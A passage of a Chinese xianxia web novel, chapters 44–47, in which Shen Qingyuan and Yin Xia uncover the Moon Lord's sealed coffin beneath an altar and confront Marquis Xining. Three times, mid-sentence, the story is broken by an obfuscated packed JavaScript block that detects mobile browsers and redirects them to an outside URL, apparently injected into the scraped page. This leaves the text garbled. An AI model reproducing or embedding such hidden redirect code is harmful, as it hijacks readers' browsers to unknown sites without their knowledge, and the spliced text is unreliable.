等掌柜将花束包扎完毕,殷夏掏出一把魔晶递给他,另一只手接过凝雪花束。 “我们走吧。” 他牵着沈卿缘,已经知道她接下来要去往的地方。 她想去的必然是——月主祭坛。 44. 第 44 章 他们仍是等到晚上才开始行动。 月主祭坛并非在她生前所建的宫殿附近,而是在一处荒无人烟的山丘上。伴着深色夜空中的一轮银色弯月,显得有些萧瑟凄清。 殷夏随沈卿缘一并从空中缓缓降落,落地无声。 他们悄无声息地绕过偷偷打盹的坛外守卫,宛如一抹融入夜色的幽魂,不多久便到了祭坛边上。 沈卿缘带着方才从花田中摘下的凝雪花束,殷夏陪在她身侧。 凝雪花洁白无暇的花瓣在皎洁的月光下仿佛散发着点点的光辉,好似焕发出生机,比白日之时还漂亮三分。 台阶很高,分为里外三层。 最高层的台阶之内有一个圆形的祭坛,祭坛正中有一个宽阔的穹顶,中间挖空,只留下边缘的轮廓。 四周是忽明忽暗的红黑色的高大石柱,将这片穹顶牢牢地支撑在原地,一旦有人走近便会燃烧起紫色的火焰,越靠近祭坛,火焰越是明亮。 在登入最后一级台阶的时候,仿佛能触摸到苍穹之顶。 充满了庄严肃穆的氛围。 穹顶之下是一座缓缓旋转的两个半圆形石块,一直不停地转动,好像互相吸引,又仿佛排斥一般,其中包裹着一朵红色的火球,正在徐徐燃烧。 眼前的祭坛毫无缝隙,也毫无破绽,就好像一整块石头雕砌成的艺术品一样。 沈卿缘眉目紧缩,上前几步,却并未立即将手中花束放在眼前的祭坛上。 她在祭坛之中感觉到了一阵庞大却又被镇压得极其虚弱的力量,即使残存不多,却仍旧纯粹且强大。 莫非月主的陨落另有隐情? 她让殷夏替她拿着花束,双手结印,快速设下隔绝视线的屏障。 随后掌心翻转间,燃起一朵灵火。 火苗甫一升起,本命灵火就开始在她的体内蠢蠢欲动,想要离体而出。 沈卿缘不明所以,干脆将一团紫色本命灵火召唤出来。灵火一出,就自发浮空,遥遥地与被石块所包裹的火球互相感应。 只见两只石块骤然缓缓转动,又逐渐分离,最终拼合成为一个圆环的形状。 随着石块的移动,祭坛内部也传来轰隆隆的声音,好像惊雷一般击打在耳膜,震得耳膜都有些疼痛。 空中石块圆环形成,如磁铁般相互吸引并沉沉相撞。可在屏障之外,空气中连一丝微风都没有改变原先的轨迹。 仿佛打开了不知在何处的机关,眼前这座沉重又庞大的祭坛缓缓升起,露出一条通往地下,且仅能容一人通过的小路。 往下看去,一片漆黑,不知其中如何。 沈卿缘看着仍在旁边有些呆愣的殷夏,摸了摸他绑得高高的发尾。 手中绒绒的触感莫名抚慰了些她心中的不安。 然后被殷夏啪地一声打落下去。 殷夏整了整被摸得毛毛躁躁的头发,有些担心地看着她:“现在就下去吗?” 沈卿缘笑笑:“秘密即将在眼前揭开。我倒是要看看,下面究竟藏了什么。” 她手中的火焰变得更饱满了一些,被她往下抛去,像一朵莲花悬浮在魔气织就的紫雾之中。 明亮的火光瞬间照亮所在的一方天地,也隐约看到通往石梯之下的长长台阶。 祭坛之下的石梯是乳白色,看起来带着潮湿的水汽,分外光滑,在月色下有着蜡状光亮的色泽。 这是一条笔直的通道,并不像迷宫一样,会带着人偏离方向。 其间两人并没有遇到岔路,但是遇到了与西宁侯府中一样的,浓郁至极、引人入障的魔气。 阴冷的地下,有厚厚的绿色苔藓生长在台阶与墙壁上,青苔油光水亮,几乎铺满了大片的墙。四周不时有冷风流动。 转动起浓郁的紫色魔气旋涡,好像一个迷幻又致命的美梦。 此处的魔气更为浓重,也更加容易引起擅闯之人心中的魔障。 若有任何图谋不轨或者心神脆弱之辈来到祭坛之下,又恰巧发现遇见这样的魔气,沉溺于心中的妄念中,只会自行停下脚步,最终化为一捧白骨。 沈卿缘身上浮现起淡蓝色的防护罩,并将殷夏一同带入罩中。 罩子撑开的瞬间,蓝色的灵气与紫色的魔气相互碰撞,在半空中发出细微的噼啪声,好像木炭放在火上灼烧的声音。 沈卿缘又拍出一道强横的灵气,防护罩光芒大作,明亮的蓝色光芒向外推出寸许,抵抗住了紫色雾气的侵蚀。 再往前走,是一片没有尽头的黑暗。只有沈卿缘手中灿烂的火光仍欢快地跳动着,而且越来越亮,连浓重的魔气都被它驱散在了一米开外。 这里的紫色魔气仿佛无穷无尽,而且并非那日山崖月光下所见到的纯正魔气,而是混乱有害无法修炼的魔气。 简直可以称作是瘴气。 看似沈卿缘的灵气将驱散了,实则更像是被魔气吞噬到一定程度,相互抵抗之间,终于形成了一个微渺的僵持。 奇怪的是,魔气越是浓郁的地方,沈卿缘手中燃着的火光却越是明亮。 走过这段湿滑奇险的小道,眼前蓦然出现了两扇铜迹斑斑的大门,门上缠着好几道厚重的铁链,最底下挂着一把锁。 想必这就是祭坛之下,传说中月主衣冠冢的所在之处。 沈卿缘先是凝聚了一缕普通灵火,试图烧断铁链。 但火舌舔上沉重的链条,没多久因灵气耗尽而熄灭,而铁链仍纹丝不动,并未损伤丝毫。 沈卿缘将剩余的火苗摁掉。 五指再次张开的时候,已经变成了矿石一般泛着冷冽光泽的本命灵火,紫色火苗上下跃动,不再像之前一般,一放出来就暴躁无比。 而是带着欢欣的喜悦。 这样的感受也传达到了沈卿缘这里。 她有些诧异,捧着本命灵火试探地上前。 紫色的火舌触碰到铁链,门环上又沉又长的链条从相触碰之处往外蔓延,即刻崩裂瓦解,化为银色的碎屑洒落在地。 眼前沉重的大门被推开,从顶部落下厚重的灰尘,沈卿缘用袖子遮住鼻子,飞快往后掠去。 心想这么大的灰尘,看来这个地方已经很久没有人来了。 却见越来越多的光亮透过两扇门之间的缝隙,如同聚光灯般照在下方凸起的石台上。 那是一只透明的长方形棺材。 棺材中躺着一个极美的女人,眉目柔和,唇边带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13147248|130018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑。 棺材周围光亮洒落的地方,生长着无数的凝雪花,所有的花蕊之中都带着一点红色。纯净的紫色魔气宛如璀璨的光点,源源不断地汇入最上方的明亮之中,就好像扑火的飞蛾。 可棺材下方所在的石台上有着鲜血所画的咒文,历时多年仍不改颜色。无数交汇的猩红相互连接勾勒,形成一幅完整的咒术图案。 殷夏打出一道灵气,这道木属灵气在半空中化成无数翠绿的竹叶,想要将这座透明的棺材从刻满了封印的巨石上拉起。 不过也只拉开了一点。 再想用力,却见红色的封印仿佛极韧的蛛丝一般,从刻印的地方脱离至半空,死死地拉住了这只透明棺材,不让它再挪动一点。 随着棺材的拉开,无数浓郁的混乱魔气喷涌而出。 棺材旁散发着星星点点光芒的凝雪花就好像吸足了精气一样,不仅花蕊是红色,连花瓣都像是浸了血一般由白转红。 沈卿缘打断殷夏的施法,殷夏手势一歪,棺材也随之斜斜地从空中坠落下来。 可落地之时却没有发出任何声响。 原来是因为红色的封印从棺材边缘缠绕交缠,好似藤蔓一般,将棺材密密实实地包裹起来,卸掉了落下时的冲击。 混乱的魔气会很大程度影响凝雪花的生长特性。 而月主的棺材则是镇压此处混乱魔气的唯一存在。 沈卿缘认真地端详着这位月主。 她生得美貌,却毫不妖冶。 波浪般的银发披撒在腰后,双手交叠合于胸前,带着一种悲悯而温柔的神情。 月主依旧维持着生前的模样,脸色红润,肤白胜雪。时间于她而言再不会流逝,仿佛就这样在透明棺材中陷入了长久的沉睡。 她被放在一层隔绝所有神念与窥探的透明棺材里,而棺材被地下的封印所扣住,无法被带走。 就连沈卿缘也不能在短时间内突破此处屏障。 而且还得考虑一个摆在眼前的问题。 月主自身产生源源不断的纯净魔气,又以自身为阵眼,压在此方封印之上,并藉以净化混乱的魔气。 若有难以抵抗的外力,将此处的棺材彻底移开,那么月主的尸体会在瞬间被两股交缠碰撞的力量彻底搅碎,地下的封印也将承受不住海量的混乱魔气。 若是爆发,不亚于人世间的山洪雪崩。 紫色本命灵火却抖了抖颤栗的火光,宛如倦鸟归林一般扑向了透明的棺材。 在沈卿缘的眼皮子底下,毫无阻碍地透棺而过,扎入棺中美人的心口。 溅起一阵璀璨华光。 而那位面色红润,一直沉睡的美人,忽然颤了颤鸦羽般的眼睫,睁开了紫色宝石般的双眸。 沈卿缘想过很多次,找到异火源头之时,会是怎样的光景。 却怎么也不会想到,自殷夏渡劫时坠落后,又经过她炼化的异火,会如此契合地,在另一个女子身上轻盈跃动,变成了一颗有血有肉的心脏。 尤其是,这个女子,是那个月幽城的传闻中陨落了很久,久到连存于世间痕迹都被尽数抹除的人。 整个魔域都曾向她俯首称臣,她曾经是这方天地的月主。 45. 第 45 章 她轻轻推开透明的棺材盖子,双臂支在靠近沈卿缘那边的盖子边缘上,唇边带着温柔的笑意,遥遥往下看去。 “是你们带着我的心脏回到了这里?” 明明语气笃定,却还是用了疑问的语气。 沈卿缘摇头。 “也许那曾经是你的心脏,但如今已经被我炼化成了本命灵火,是我的东西。” 她只是选择不召回,并不代表没办法从月主那里强行拿走。 只不过沈卿缘想要知道的秘密,只有眼前复活的女子能够解开,因此即使要收回本命灵火,也不急于一时。 先前的整座棺材都被笼罩在一层神识无法穿透的屏障内,无法窥探。 可现在月主自行打开了棺材,其上的封印也应声崩裂瓦解,变成无数块透明碎片,一边凋落一边消融。 没有了这层屏障的阻挡,沈卿缘得以看出她的躯体已经千疮百孔。这种状态下,体内的心脏还在源源不断地吸收她所剩无几的精纯魔气用于运转魔体。 可以说残破得堪比冬日里漏风又掉瓦进水的屋子,窟窿太多,就算想要修补也没处着手。 沈卿缘的视线下移,注意到棺材底下的封印颜色也不复初见时的猩红,而是变成了很浅的水红色。 蠢蠢欲动的混乱魔气,姑且称为是瘴气,好像也发现了封印力量的减弱,正疯狂往上方冲击,假以时日,必定能突破。 混乱的魔气是恶浊之气,即为瘴气,是无法被提炼成纯净的魔气并使用的。 若放任瘴气出世,不但会腐蚀魔修们的躯体,而且还极易牵引心绪,容易生出魔障并陷入心魔。 倘若封印被解除或是被冲破,混乱的魔气泄露,那么这片与修仙界以海峡相隔的魔域都将成为一片地狱。 想到这里,沈卿缘心中疑窦更甚。 她开口询问前方石台上的女子:“你还能支撑多久?” 月主的脸上仍残存着沉睡时的温柔笑意。 她抚了抚胸前的长发,长睫低垂,仿佛叹息道:“不会太久,幸亏你们来了。” 殷夏则更直接一点,指了指棺材下的封印法阵:“这处封印还能维持多长时间?” 月主抬手,抚上自己的胸口处。那里是心脏跳动的位置。 “本来还能再镇压两三年,但我在沉眠中被强行唤醒,加速了体内魔气的消散。” 她眼中一片空寂之色:“也许今晚、也许明日,此处封印很快会被冲破。” 虽然不知她所说是否为真,但她胸口的伤并没有消失,说明体内运转的魔气已经治愈不了她了。 这些都是即将溃散的前兆。 眼前这具身体的破败和魔气的逸散再也不可逆转。 沈卿缘反问道:“你想不想知道你口中的心脏,是如何辗转到我手中的?” 月主眨了眨眼睛,露出一个颇感兴趣的表情。 沈卿缘继续道:“但是作为交换,我们也想知道当时你陨落的真相,以及你的心脏到底有什么特殊之处。” “即使你已经陨落这么多年,连魔域中很多人都已经忘记了你的存在。可一旦发现了关于你心脏的蛛丝马迹,立刻就有大批魔修前往修仙界强行夺取,又是何原因?” 这样的戒备与看重,早已超出一般宝物的重视程度。 月主不再将目光投向他们,而是转而去看上方的明亮之处。 无数纯净的魔气仿佛自带意识一般,源源不断地往最上方涌去,像夜幕的璀璨星光,逐渐汇集,最终形成一条缓缓流动银色光影。 她缓缓开口,声音空灵悠扬,像是在讲述一个古老的故事。 “一切遭人抢夺的事物,都是因为有着无可替代的价值。而我的心脏,是在多年前的一场镇压瘴气仪式中,遵循我最后的意志,逃脱而出的一线生机。” “很多年前,月幽城的魔气就已经隐约有了消散的征兆。” “我在压制瘴气的时候被偷袭,那时阵法即将完成,我腾不出手与对方交缠,反而被对方抓住机会,一掌将我打落在祭坛上。 “此后,我以身作为阵眼镇压于此,对方虽然乘我施展封印之术时打了个措手不及,但对瘴气多有顾忌,对成为阵眼的我也多了三分忌惮。忌惮之余又怕偷袭月主的事情败露,于是用能隔绝神识的棺材将我的气息全部隔绝,并且用特质锁链将我关在地下最深处,只为万无一失。” 沈卿缘又问:“为什么后来你的心脏会变成我们所认为的异火?” 月主指尖轻点,于空中画出一个特殊的法阵,心脏于空中显现了一瞬,又重新消失。 她说:“就是你们看到的这样。我用了秘术提前将心脏化作异火挣脱,寻找脱困的机遇。” 沈卿缘不解:“可是更奇怪了,你的心脏为何还能让修士在渡劫时毫无天雷?” 月主知晓她不通魔域之事,简单答道:”我的心脏生而带着幽冥之火,可抗天雷。” 这可真是了不得的宝物。 有了它能毫无阻拦地修行到渡劫期,踏上升仙路亦非难事。 仿佛看穿了沈卿缘的想法,月主叹了口气,说道:“并非你所想的那样。抵抗天雷道前提是认主,若修行低微,只会被异火烧死,可若真的修行达到异火认可的程度,不需要异火的帮助也能自行渡劫成功。所以其实异火的在修行上的用处并不大。” 她看了一眼沈卿缘:“你修行至此,定能发现仙魔两道其实部分是相通的。” 看来对方知道自己是修仙者而非魔修了。 沈卿缘评价道:“你一个魔修,心中首先想到的却是舍己为人,更似仙而非魔。你明明可以挣脱此地的封印束缚,毕竟是你自己所设下的,可你为什么选择留在这里?” 月主闭眼不言。 只是下意识选择了这条路,回头才恍然发现,之后已经过去了太多年。 对于魔域的修行之人来说,精纯的魔气是修行之路上最必不可少的东西。她的躯体可以作为压制瘴气的最强封印,本身又蕴含大量的魔气。 被有心之人盯上了而已。 沈卿缘又道:“将此处打造成祭坛的人是西宁侯吗?” 月主点点头,眼中含笑:“你倒是敏锐。” 沈卿缘道:“如今此处是他的地盘,在自己的眼皮子底下能时时看到你,他才会安心吧。” 月主摊开手掌,看着自己透 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176141|130018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明到只剩下轮廓的双手,沉声道:“当时西宁侯想要炼化我的躯体,将我装入冰棺日夜抽取纯净魔气,并源源不断地供往自己的府上,对外只宣称月主陨落了。” 这样一个阴狠、卑劣,又自私的人,如今却仍然盘踞着魔域最大的一块土地。 她握紧了双手。 沈卿缘有所感,满脸认真地问她:“你恨吗?” 月主目光冰凉:“我当然恨。若不是为了我的子民,我不会忍他到现在。如今封印即将崩塌,我尽到了责任,再无顾忌……” 她伸出手,指向头顶那处无比明亮的光源。 魔气是紫色的,可是纯净的魔气却是那种闪光的模样。多年来,源源不断的精纯魔气已经在他的后花园中蓄成了一片灵湖,却只为了他一己之私。 现在轮到他赎罪的时候了。 她对沈卿缘说:“当年的我有一战之力却没有动手,如今再无机会。你既然炼化了心脏,冥冥中已欠我一个人情。我知道,你们修仙之人最讲究因果。答应我帮我除去西宁侯,我愿意将我的心脏交与你,今后两不相欠。” 沈卿缘本不是强取豪夺之辈。 帮月主这个忙,还了人情,也能一起断了今后殷夏被西宁侯寻找麻烦的可能。 她点点头:“但我尚未与他交过手,西宁侯修为如何?” 月主从棺中飘下,与沈卿缘双目相接:“渡劫圆满。但不用担心,我已至大限,你有了我的心脏,将湖中剩余的精纯魔气全部转化为灵气后,可助你一步登仙。” 沈卿缘挑眉,不着痕迹地后退一步:“虽然我也很想找西宁侯的麻烦,但我只会凭我自己的能力成仙。” 月主拉住她的手腕,眼神穿透人心:“这样的捷径,你却不愿,为什么?” 她思索片刻,将目光投向了一旁的殷夏:“因为他?” 沈卿缘闪至殷夏身前:“与他无关。你还不知道,后花园中的湖里已经不是精纯的的魔气了。” 月主皱眉:“怎会如此?” 沈卿缘再次确认:“那些魔气已经有蛊惑人心的效力了,被西宁侯单独用屏障与外界隔开。依我看,这么多年,瘴气早已寻得封印的空隙,聚集污染了整片灵湖。” 事实上,月主精纯的魔力快被西宁侯抽干了,封印减弱,也无法完全压制住瘴气了。 沈卿缘思索片刻,最终决定由自己来做添上最后一把火的人。 沈卿缘从殷夏的手中抽出扎着丝带的凝雪花束。 空中强大的灵力激荡,将所有的花瓣震碎洒落在空中,仿佛祭奠时满天洒落的白色纸钱。 “你的仇,我给你报。” “本命灵火,我带走了。” 她抬手,掌中光芒闪烁,按上月主的心口,那处的一团火光也随着光芒跃动的频率越来越亮。 月主从透明的手掌处开始,她的身体逐渐化为半透明的紫色光点消散于空中。 在化为飞灰之前,她露出了久违的释然表情,说了最后一句话。 沈卿缘看清了她的口型。 她说的是:“你要记得对我的承诺。” 当然会记得。 说到做到。 46. 第 46 章 月主说的没错,想要杀死相当于修仙界修为渡劫大圆满的魔修西宁侯,眼下唯有一步登仙这一条路。 可那时天界大开通天之门是有一定时限的,沈卿缘并无太多的时间在下界与西宁侯周旋。 月主化为飞灰,封印之下的瘴气动静越来越大,原本如蛛丝一般坚韧,如今摇摇欲坠,不时有瘴气寻得机会从缝隙中钻出,黑色的瘴气混合着紫色的纯净魔气,一股脑地往空荡荡的棺材上方冲去。 那是一片光明的所在,银色的光点仿佛旋转的星河。 沈卿缘一头扎进头顶那片银色的星空。 殷夏赶忙跟上。 两人一前一后,向着那处银色光点凝聚而成的璀璨星河飞去。 原来的那条石阶在他们踏上之后已经缓缓复原,又变成了最初所见的祭坛的模样,无法回返。从底下看去,头顶这片明亮的地方是此处唯一能够出去的地方。不管前方究竟如何,迎面而上,一探便知。 游到最上方时,在身旁浮动的绵密魔气已经化为一片浮空的湖泊。 一向平静如镜的湖面上水花迸溅,先后探出了两颗脑袋。 灵湖畔边,上方赫然是熟悉的白花红蕊,比起先前所见多了不少。看来因为瘴气泄漏速度加快,催熟了这片将开未开的凝雪花丛,眼下长势十分壮观,再无之前两三朵小花的伶仃模样。 沈卿缘从灵湖中往岸边游去,踩到坚实的土地后,水面逐渐露出她湿淋淋的肩颈,而后是腰身。宽松的衣袍吸附在皮肤上,勾勒出她漂亮的身体轮廓和纤细的腰线。 殷夏一路都跟在沈卿缘身后,因此冒出灵湖的速度稍稍慢了一些。 他仰头将满脸的水珠甩开,视线习惯性地往前方追逐时,就这样看到了沈卿缘黑色衣料贴身的一幕。 黑色衣袍沾水后颜色变深,显得沈卿缘肤色愈加莹白。她将滴着水的发丝拢在肩膀一侧,水珠滴落,细碎的水声因她走向岸边的动作而轻响,声声拨动着殷夏的心弦。 他的脸腾地热了起来。 随着上岸后体内灵气的自行运转,潮湿的衣袍慢慢恢复原本的干燥。 殷夏凭空造了块冰捂在脸上,将脸蛋冻得冰凉。在沈卿缘回头看之前,他捏碎手中的冰块,甩掉手中残余的白色晶体,轻咳一声,上前将沈卿缘掉入衣领的一缕碎发拿出,轻轻地放在她立起的衣领旁。 两人已走至屏障边缘,沈卿缘伸手碰了碰,手掌毫无阻碍地穿透过去,但黑紫色的瘴气完全透不过,在罩子内越积越多。 殷夏问她:“魔主陨落,封印溃散,你如何打算?” 她垂眸,回身答道:“怕什么,魔域里就算天塌了还有三位诸侯顶着,他们多年建立的城池与基业由不得他们放任不管。” 沈卿缘又将目光投向屏障之上,五指间隐约有明光与之感应:“这道屏障应是西宁侯花了大力气建成的,一开始是为了防止从魔主体内抽取的精纯魔气逸散,现在刚好反过来,短时间内页无法拆除整片屏障,除非瘴气扩散至整个西宁侯府后,才会继续往外溢出。” 殷夏回身,看着瘴气宛如龙卷风一样横冲直撞,所到之处,盛放的花朵枯死一片,绿色的草叶也蔫蔫地倒垂在根茎上。 难怪魔修对瘴气闻之色变。 他们是灵修,吸收天地灵气,对魔气并不敏感,但在魔气环绕周身的环境下,也会觉得黏腻沾身,不太舒服。 沈卿缘收回指间的明光,转而牵住殷夏的手,为了两人撑开了一片淡蓝色防御屏障,随后捏了捏他的手指。 “这里瘴气暴乱,但还能撑几天。若是能因此搅乱此处,甚至引得西宁侯跳脚的话,反而对我们有利。” 殷夏沉思片刻:“那我们还是先回去,静观其变。” 在所有魔修还在一片祥和安乐的氛围中安心生活的时候,殷夏一回到店里,就立刻将店外上锁,并挂上了店家有事外出的牌子。 随后闪身回店,于门内又上了一重锁。 沈卿缘在二楼开始着手收拾炼器房里的琐碎杂物,并吩咐旁边的傀儡娃娃们将剩下的首饰与定制的柜子统统打包。 于是一楼两只勤快跑动的小傀儡来回搬运并整理东西,将所有打包完毕的整整齐齐地排在墙角。 一日后,大片瘴气因封印破裂被放出,瘴气触碰之后轻则损伤修为,重则危及生命,引起了普通魔修剧烈的恐慌与混乱。 修为不高的魔修平民宛如逃难一般收拾家产准备外出逃难。 其中也包括沈卿缘和殷夏。 将店门一锁,挥手将所有打包好的物品收入储物空间。沈卿缘拉上殷夏,也随着无数逃难的魔修一起,低着头往城门外挤,成功随着大部队一起到了郊外逃难。 还在这次逃亡途中听见了不少半真半假的消息。 其中就有魔气污染了西宁侯府,无数花朵一夜枯败的传闻。而且听闻整座庄重威严的西宁侯府邸围绕着浓重的黑紫色的瘴气,无人敢靠近。 里面的婢女仆人也不知是被遣散了还是转移了,整个府邸就好像一座死城,再没有消息传出了。 有些人说是因为消息被强压下去了,还有些人说是因为所有的下人都因为突如其来爆发的瘴气而染上恶疾,无药可救直至身亡。 众说纷纭。 沈卿缘心里却有一个大胆的猜测。 她看着吃力追赶,实则轻松地缀着魔修逃亡的大队伍,还传音给殷夏:“你说西宁侯府那么多人没能逃出来,到底是活着,还是说真的死了?” 殷夏摇摇头:“我觉得花园的结界一时半会很难打破,但那里面一般都无人进出。那些家仆虽是魔修,不应当会在第一时间内沾染上瘴气。他们若是想逃,自然有机会离开。” “除非被一些阴邪的术法控制,或者……” 沈卿缘若有所思:“或者原本就是西宁侯的意思。” 身边黄土四起,热辣的太阳直直地往毫无绿荫的道路上射下,周围是脸色凝重,低头往前的魔修,除了走路的沙沙声外和四周的蝉鸣声,再无其他声响,引得人心中烦闷。 两人白天逃难,晚上又暗搓搓地来到了西宁侯府。 惨白的月光下,远处氤氲的黑雾随风涌动,透着一股不详的气息。 按照殷夏的想法,现在就应该找个地方潜心修炼,直到渡劫期大圆满后再去找西宁侯这个罪魁祸首算账。 两个渡劫期大圆满还打不过一个吗? 可沈卿缘觉得修为已经达到难以推进的程度,还是要先探一探对方的底,再作打算。 西宁侯府上都闹出这么大动静了,流言也越传越离谱,可西宁侯本人仍非常沉得住气,既不辟谣,也不露面,说不定在搞什么大事情,她得弄清楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211223|130018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了才心中有数。 沈卿缘兜兜转转到了一处上次并未见过的小楼前,这个位置,应该是西宁侯府女眷所在的居所,可如今夜色如墨,万籁俱寂,这座楼中却挂满了亮堂的红色灯笼,宛如黑暗中窥视的眼睛。 越是奇怪,在沈卿缘的眼中才是正常。 眼下这幅景象正好勾起了沈卿缘的好奇心。 她拉了拉殷夏的袖子,两人隐去身形,悄无声息地穿行在夜色里,两道融于黑暗的影子轻盈地跳上了这座小楼的屋顶。 有的屋内一片漆黑,有的则点着灯火,亮着暖色光芒。 沈卿缘挑挑拣拣,走走停停,然后无比笃定地停在了一处,朝着屋顶瓦片上面摁了一块水镜。 水镜缓缓漾出波纹,将屋内的一切景象尽收眼底。 一男一女身形交叠,红烛帐影,暧昧难言。 殷夏瞬间用宽大袖口遮在住了镜面,他低着头,神色复杂地瞥了沈卿缘一眼,随后看着自己的衣袖花纹,一声不吭。 沈卿缘面色纠结,想要解释一番,可嘴角抽了抽,半晌还是没吐出一个字。 她是因为感应到这里是魔气最为强盛的所在,才带着殷夏过来用水镜看里面的情况,谁料到会看到这一幕。 可尴尬的几秒过去后,沈卿缘立刻发现了不对劲的地方。 她挥开殷夏的衣袖,仔细地看了看水镜中的画面,确定那个女修并非在享受欢愉,而是在小幅度地挣扎,但这样的垂死挣扎根本无法挣动对方的桎梏。 水镜并不能看到魔气的流动,根据镜内两人的姿态,若不是先前他们想歪的那样,只有一个可能,就是那名男子在吸取对方的魔力。 殷夏的脸色也蓦然白了一些,沈卿缘随便一逛就找到了西宁侯所在的地方,还刚好撞上了他在吸取魔气的场景。 他有些心急,暗暗给沈卿缘打手势。 西宁侯修为太高,对一切魔气或灵气的波动都很敏感,殷夏没敢像往常一样给沈卿缘传音。 沈卿缘明白了他的意思,点点头,刚想收了水镜。 却在收回镜子的一瞬间,对上了一双血色的眸子,那对眸中一片阴鸷,还有锁定猎物的志在必得。他掀起唇角挑起一个笑容,然后手指微动。 随着轰隆一声巨响,整片房顶都被掀掉了,只剩下空荡荡的四面墙壁,和挂在墙后的两人。 沈卿缘与殷夏对视了一瞬,心里一咯噔。 今天到底是什么运气,先是运气爆棚找到了西宁侯还撞破了他的秘密,却又运气极差地被他发现,不得不挂在墙上当一只咸鱼。 沈卿缘如今心境通透,已达到渡劫期圆满的程度,她能感应到西宁侯身侧翻涌的浑厚魔气与其中浩大的威力。 这些天西宁侯府内瘴气的浓度太大,一定程度上确实会影响到魔修的魔力与修为。但据她所知,魔修有各种短时间内提高修为的办法,其中一个就是吸取他人的魔气达到补充自身魔气的目的。 虽然这方天地存在着规则限制,魔修无法修炼成仙。 但若是修为已经达到顶峰,与踏入仙界只剩下一线之隔的话,同一个境界同一个等级,即使存在着一丝一毫的差距,也仿若天堑,无比致命。 一眼之后,两人各显神通,刚一交手,都发现了对方的难缠。于是暂且退后,各自立于掀翻了屋顶的两片墙壁之上。 47. 第 47 章 开头的虚晃几招只是互相试探,她还有道侣,没打算一步登仙,就此超脱尘世。 这会儿她突然觉得殷夏先前所说有几分道理,临时抱佛脚增进修为是不错,但放任西宁侯这样吸取魔气也不是办法。 西宁侯长着一张俊俏的脸,声音却是与长相不符的浑厚:“小友夜探本侯府上,有何贵干呐?” 他倒是先礼后兵。 沈卿缘颔首:“听说西宁侯府夜晚景色不错,故来欣赏一番。” 她说话的时候,向周围看了一圈,正巧瞟见了从床帐内掉落在地一具女尸。前一刻还活色生香的女子,此刻身上魔气全无,皮肉干瘪,姣好的五官显得狰狞可怖,正应了红颜枯骨四字。 西宁侯顺着她打量的视线,脸上是莫测的笑意:“为我而死,是她的荣耀。” 对方身上的气势又涨了两分。沈卿缘神色一凛,暗道不好。这样魔力强盛的气息,可不是被瘴气侵袭病症缠绵的样子。 瘴气是魔修的天敌,没有例外。可这位西宁侯偏偏靠着吸取他人身上的魔气,源源不断地补足了身上的魔气空缺。 如今他们的修为不分上下,真的缠斗起来不一定有哪方能占上风。 西宁侯眉梢一挑,也认识到了这一点。 两人交手片刻后,一人立于一边,并不急着继续过招,反而像是许久未见的朋友一般笑容和煦地聊起了天。 西宁侯摆出一个惊讶的表情,明知故问:“悬在墙壁后面的是你家眷吗?” 沈卿缘扔了一个防护罩,一掌将殷夏拍进了土里,皮笑肉不笑:“上不得台面,让侯爷见笑了。” 再看过去,鼓起的人影已经消失在泥土里,想必用了土遁逃走了。 沈卿缘松了口气。 若是西宁侯见到殷夏,以他的修为,突破自己所设的封印并非难事,殷夏的真容一览无余,还正好是他要抓的“身怀异火”之人,肯定会将他一并卷入风波之中。还好殷夏懂得见机行事,没有傻到待在原地。 她从身侧的刀鞘中缓缓抽出一把长刀。这柄刀通体黑色,刀身沉重,刀刃上凛冽着寒光,并无任何花纹装饰,却充满了威胁感。 西宁侯不由得认真了几分。 他早在一开始发现屋顶上的窥视时,就已经动了杀心。 在月幽城的城民心中,他一直是恭谦谨慎的侯爷形象,可这两天花园中瘴气倒流,影响到了整个侯府,也被府外的有心之人看出异常,借此大做文章,导致城民对自己风评大变,他多年苦心经营的形象功亏一篑。 而他居于府中入定修炼,瘴气流窜的速度太快,等他发现的时候,已经太晚,府上大多数人都应染上瘴气,难以救治。 湖中精纯的魔气早已被污染,他只得另想办法补充魔力抵抗瘴气、恢复流失的修为,也因此付出了极大的代价。 想到这里,西宁侯眼中红光更盛,他一个闪身来到沈卿缘身后,挟着庞大魔气与威势的拳头迎面而来。 沈卿缘反应迅速,立刻回身倒退,同时双手结印,连布下三重防护。 拳风撞上护体的罩子,仿佛捶到坚硬金属上一般,将第一片罩子砸至变形,而后裂成无数碎片。余下的气劲又接连碰上第二层防护罩,掀起一阵庞大的气浪,将散乱在四周的瓦片都震飞在空中,稀里哗啦地掉在地上,又碎了第二次。 第三层防护罩接住了剩余的大部分拳风威势,沈卿缘受到了一点冲击,再次往后掠去,掌中凝聚灵气,稳住自己的身形,手中的长刀已利落地挥至空中,朝着西宁侯直直劈下。 